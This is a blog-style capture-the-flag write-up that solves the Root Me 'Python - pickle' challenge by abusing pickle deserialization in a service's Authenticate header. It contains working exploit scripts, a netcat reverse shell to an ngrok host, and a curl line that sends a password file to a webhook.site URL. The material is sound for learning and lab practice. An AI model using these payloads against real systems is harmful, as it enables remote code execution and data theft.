A good choice to start learning is
Root Me allows us to practice with a lot of challenges, classified in arguments: App - Script, App - System, Cracking, Cryptanalysis, Forensic, Network, Programming, Realist, Steganography, Web - Client, Web - Server.
Let's start with the first category: App - Script.
The sixth challenge that we face is: Python - pickle:
Vulnerability type:
- Vulnerability Exploitation by pickle Python module
##################################################
The challenge gives you some information:
- Host: challenge02.root-me.org
- Protocol: TCP
- Port: 60005
- curl challenge02.root-me.org:60005
{"result": "Not allowed you should first AUTH"}
We get already the first hint. This string is telling us to use the HTTP AUTH request. To do this, open terminal and connect to the target system by netcat:
- nc challenge02.root-me.org 60005
We press Enter, then we should insert the AUTH request. I remember you that we can only send one HTTP request:
{"result": "unknown user group: DUMMY"}
- AUTH dummy HTTP/1.0
- AUTH dummy HTTP/1.1
It means that we must insert the correct user group. The track of the challenge says that we should connect as admin so try this:
- nc challenge02.root-me.org 60005
- AUTH admin HTTP/1.1
Press Enter two times. We get:
{"result": "Can't find 'Authenticate' header"}
The output gives us another hint: we should insert a string for Authenticate header. So, since we don't know what we should insert, let's try:
- nc challenge02.root-me.org 60005
- AUTH admin HTTP/1.1
- Authenticate:blablabla
{"result": "Authentication failed = Traceback (most recent call last):\n File \"/challenge/app-script/ch5/ch5\", line 52, in do_AUTH\n authcombi = pickle.loads(base64.b64decode(self.headers.getheader('Authenticate')))\n File \"/usr/lib/python2.7/base64.py\", line 76, in b64decode\n raise TypeError(msg)\nTypeError: Incorrect padding\n"}
Here we understand that the pickle module is used. We understand also that the string that we insert for Authenticate is the input of the pickle.loads() where we can inject our command.
Reading the documentation about Python Pickle, pickle.loads() takes as input a pickled (serialized) object. We can pickle objects (like strings) by using the pickle.dumps() function. From the error above, we understand also that in our case, the input pickled string should be encoded as Base64.
Generally, in order to pickle and unpickle the objects correctly, we need to make, inside a python script, a class with a __reduce__(self) method (at the end I give you some source about this for better understanding).
In our case, we need to make a python script in order to pickle our string and, then, generate the Base64 encoded one. In this example (found on the web) it is used the cPickle library but you can import also the pickle library.
#!/usr/bin/python
import cPickle
import sys
import base64
CMD = "yourBASTARDcommand"
class PickleObject(object):
def __reduce__(self):
import os
return (os.system,(CMD,))
print base64.b64encode(cPickle.dumps(PickleObject()))
If you execute this python script, you will get your BAST*** Base64 encoded command <3. This resulting string will be what we insert for Authenticate header during our HTTP request.
But the problem now is: ok, I inject a command, i.e. ls -la... When I inject this command, the target system will perform it but the output remains on IT! We need to find a way to redirect that output from the target system to our machine.
I thought a solution: expose our machine on Internet, make a listener on our machine and make sure that the target system will connect to our machine.
We do this by ngrok and netcat. So download ngrok and follow the instruction on the website to install it and to get the key to unlock the tcp connection functionality (you need only to register by using your email then you will get the key on the dashboard of ngrok website). Then, go to the ngrok executable location and expose our machine on the webbbbbe:
- ./ngrok tcp 1337
But now we need to make a listener on the 1337 for the reason above. We use netcat:
- nc -lp 1337 -vvv
For first, open another terminal. Inside the python script above the following command:
nc 0.tcp.ngrok.io ##### -e /bin/bash
in order to open a shell on the target machine and perform what you desire. You can also insert directly other commands to get directly the content of .passwd.
Anyway your script will be:
#!/usr/bin/python
import cPickle
import sys
import base64
CMD = "nc 0.tcp.ngrok.io ##### -e /bin/bash"
class PickleObject(object):
def __reduce__(self):
import os
return (os.system,(CMD,))
print base64.b64encode(cPickle.dumps(PickleObject()))
Save and execute. You will get a Base64 string. Copy by CTRL-C then open a terminal and type:
- nc challenge02.root-me.org 60005
- AUTH admin HTTP/1.1
- Authenticate:[insert here the Base64 string]
connect to [127.0.0.1] from localhost [127.0.0.1] [a-number]
At this point, it means that the /bin/bash command has been unpickled and executed on the target machine, so, by using the listener terminal, you can give any command you prefer, for example if you try ls -la, you will get the content of the root directory of the target system.
Where is the solution? You can know that by reading the error that we got at the beginning about the Authenticate header or you can find it simply by typing:
- find / -name ".passwd"
- cat challenge/app-script/ch5/ch5
Useful links:
###############################
Other solutions (not mine):
- Inside the injected command in the script, use: os.system, (('cat /challenge/app-script/ch5/.passwd >&4'))),) where the ’4’ in the ’>&4’ part was found by trial and error. It is the file descriptor that is associated with the HTTP response stream. 0, 1 and 2 are the standard unix process IO streams. So I started at ’3’ and moved up till I saw the output in the response. You will get the solution when you pass the Base64 encoded command to the Authenticate header. (source:root-me.org)
- Another interesting solution is written in this python script:
then, run the script and at the 'enjoy your shell' message, you can submit any command you prefer.from pwny import * def socket_hunter(): import inspect, socket, subprocess frame = inspect.currentframe().f_back greeting = 'Found %r (%r), enjoy your shell!\n' while frame: for key, value in frame.f_locals.items(): if hasattr(value, 'sendall'): value.sendall((greeting % (key, value)).encode('ascii')) return subprocess.call(['/bin/sh'], stdin=value, stdout=value) self = frame.f_locals.get('self') if self is not None: for key, value in vars(self).items(): if hasattr(value, 'sendall'): value.sendall((greeting % (key, value)).encode('ascii')) return subprocess.call(['/bin/sh'], stdin=value, stdout=value, stderr=value) frame = frame.f_back f = Flow.connect_tcp('challenge02.root-me.org', 60005) f.writeline('AUTH admin HTTP/1.0') f.writeline('Authenticate: %s' % enb64(pickle_func(socket_hunter, protocol=2, target=27))) f.writeline() f.interact()
- Set up a listener on your machine by nc -lvp 1337.
Then, on another terminal run the following python script:
The HTTP response will be 200 OK and the content of .passwd will be printed out on the listener.import pickle import socket import os import base64 class exploit(object): def __reduce__(self): comm = "cat /challenge/app-script/ch5/.passwd | nc -q 1 localhost 8090" #Command to unpickle and execute return (os.system, (comm,)) payload = base64.b64encode(pickle.dumps(exploit())) http="AUTH admin HTTP/1.1\r\nAuthenticate: "+payload+"\r\nContent-Length: 0\r\n\r\n" #Create the HTTP request #Set up the socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.settimeout(1) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.connect(("challenge02.root-me.org", 60005)) s.send(http) #Send the HTTP request #Receive data and close data = (s.recv(1000000)) print data s.shutdown(1) s.close() print 'Received', repr(data)
- Go to webhook.site and create your URL. On top-right click on Copy to copy your webhook link and paste it inside the script below replacing the existing webhook link but remaining ?pass= argument.
Then, run this script.#!/usr/bin/python import cPickle import httplib import urllib import os,base64 class payload(object): def __reduce__(self): comm="curl https://webhook.site/a8108d2f-5d35-410bdsadrandomchar-b632-48c633c5894b?pass=$(cat /challenge/app-script/ch5/.passwd)" return (os.system, (comm,)) payload = base64.b64encode(cPickle.dumps(payload())) print payload host = "challenge02.root-me.org" port = 60005 webservice = httplib.HTTPConnection(host, port) webservice.putrequest("AUTH", "admin") webservice.putheader("Authenticate", payload) webservice.endheaders() webservice.send(payload) response = webservice.getresponse() print response.read(4096)
You will get an error, but if you connect to your webhook.site page, you will see the solution at the section Query strings at argument pass.
Nessun commento:
Posta un commento